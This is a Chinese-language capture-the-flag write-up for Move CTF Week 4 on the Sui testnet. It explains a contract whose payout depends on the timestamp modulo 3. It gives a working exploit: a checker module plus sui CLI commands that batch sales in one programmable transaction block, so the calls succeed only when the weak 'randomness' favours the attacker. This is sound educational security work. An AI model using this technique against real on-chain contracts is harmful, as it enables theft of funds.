概述MoveCTF共学营由HOH水分子社区联合Cyclens及Movebit共同推出。本期共学将于25年6月中旬正式开始,通过4周线上视频录播课程、有奖Task任务以及CTF挑战赛等多种方式,帮助大家快速了解Web3领域安全问题、提升在网络安全领域的实战能力。详细信息请参考:
Move CTF 共学营由 HOH 水分子社区联合 Cyclens 及 Movebit 共同推出。本期共学将于25年6月中旬正式开始,通过4周线上视频录播课程、有奖Task任务以及CTF挑战赛等多种方式,帮助大家快速了解 Web3 领域安全问题、提升在网络安全领域的实战能力。
详细信息请参考:https://platform.cyclens.tech/activity/1
本文分析 Move CTF Week4 挑战,该挑战部署在 Sui 测试网上,主要考察开发者对逻辑漏洞与状态管理、随机性安全的理解。
0x62b381e10101c7e36ae369f6377539691c3bca75c2cbbef6926b8f03f63294a8
3X35jhQ1VxRaDDE7E3AvAajfnRiGw8mc1LwMW9ALd5sm
挑战合约包含两个核心模块:
struct Vault has key, store {
id: UID,
balance: u64,
}
struct Potato has key, store {
id: UID,
cooked: bool,
}
挑战的 get_flag
函数检查关键条件:Vault余额 >= 200
核心漏洞位于 potato::sell_potato
函数中:
public fun sell_potato(
clock: &Clock,
vault: &mut Vault,
potato: Potato,
) {
assert!(potato.cooked, E_NOT_COOKED);
let current_timestamp = clock::timestamp_ms(clock);
let d100 = current_timestamp % 3;
if(d100 == 1){
let balance = vault::get_balance(vault);
set_balance(vault, (balance + 5));
event::emit(Amount{amount: balance + 5});
}
potato.destroy();
}
关键问题:
timestamp % 3
)容易被统计学方法利用timestamp % 3
结果可预测基于PTB(Programmable Transaction Block)时间戳一致性特性的确定性攻击方案:
独立时间戳检查模块 (timestamp_checker.move
):
module task7_solve::timestamp_checker {
use sui::clock::{Self, Clock};
const E_TIMESTAMP_CONDITION_NOT_MET: u64 = 1001;
public fun check_timestamp_condition(clock: &Clock) {
let current_timestamp = clock::timestamp_ms(clock);
let d100 = current_timestamp % 3;
assert!(d100 == 1, E_TIMESTAMP_CONDITION_NOT_MET);
}
}
PTB攻击流程:
sui client ptb \
--move-call "timestamp_checker_package::timestamp_checker::check_timestamp_condition" @0x6 \
--move-call "original_package::potato::sell_potato" @0x6 @vault_id @potato1_id \
--move-call "original_package::potato::sell_potato" @0x6 @vault_id @potato2_id \
# ... 重复20次
--gas-budget 150000000
# 在 task7_solve 目录下部署时间戳检查合约
cd task7_solve
sui move build
sui client publish --gas-budget 100000000
# 获得时间戳检查合约 Package ID
# 例如: 0x10559a5d689189a79822bdc536fe52dfd2f31d4a1df9eaf7562a9a21287e2ec6
使用PTB创建2个新Vault,实现角色分离:
# 创建2个新Vault
sui client ptb \
--move-call "0x62b381e10101c7e36ae369f6377539691c3bca75c2cbbef6926b8f03f63294a8::vault::init_vault" \
--move-call "0x62b381e10101c7e36ae369f6377539691c3bca75c2cbbef6926b8f03f63294a8::vault::init_vault" \
--gas-budget 30000000
# Vault1: 购买和烹饪土豆
# Vault2: 销售土豆
# Vault1购买20个土豆
sui client ptb \
--move-call "0x62b381e10101c7e36ae369f6377539691c3bca75c2cbbef6926b8f03f63294a8::potato::buy_potato" @vault1_id \
# ... 重复20次
--gas-budget 120000000
# Vault1烹饪20个土豆
sui client ptb \
--move-call "0x62b381e10101c7e36ae369f6377539691c3bca75c2cbbef6926b8f03f63294a8::potato::cook_potato" @vault1_id @potato1_id \
# ... 重复20次
--gas-budget 120000000
核心攻击PTB(预检查 + 批量销售):
sui client ptb \
--move-call "0x10559a5d689189a79822bdc536fe52dfd2f31d4a1df9eaf7562a9a21287e2ec6::timestamp_checker::check_timestamp_condition" @0x6 \
--move-call "0x62b381e10101c7e36ae369f6377539691c3bca75c2cbbef6926b8f03f63294a8::potato::sell_potato" @0x6 @vault2_id @potato1_id \
--move-call "0x62b381e10101c7e36ae369f6377539691c3bca75c2cbbef6926b8f03f63294a8::potato::sell_potato" @0x6 @vault2_id @potato2_id \
# ... 重复20次
--gas-budget 150000000
攻击机制:
# 自动化攻击脚本伪代码
while vault2_balance < 200:
try:
execute_ptb_timestamp_attack()
if success:
break
except TimestampConditionNotMet:
wait_and_retry()
当Vault2余额达到200时,获取Flag:
sui client call \
--package 0x62b381e10101c7e36ae369f6377539691c3bca75c2cbbef6926b8f03f63294a8 \
--module vault --function get_flag \
--args vault2_id \
--gas-budget 10000000
项目 | PTB时间戳攻击 | 传统统计学攻击 |
---|---|---|
成功率 | 33.33%(理论值) | ~16.7% |
土豆消耗 | 20个(零浪费) | 150个(部分浪费) |
攻击尝试 | 3次 | 多轮批量操作 |
资源效率 | 提升650% | 基准 |
确定性 | 确定性成功 | 概率性成功 |
Move CTF Week4 挑战揭示了区块链随机性安全问题,展示了从传统统计学攻击到革命性PTB时间戳一致性攻击的技术演进。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!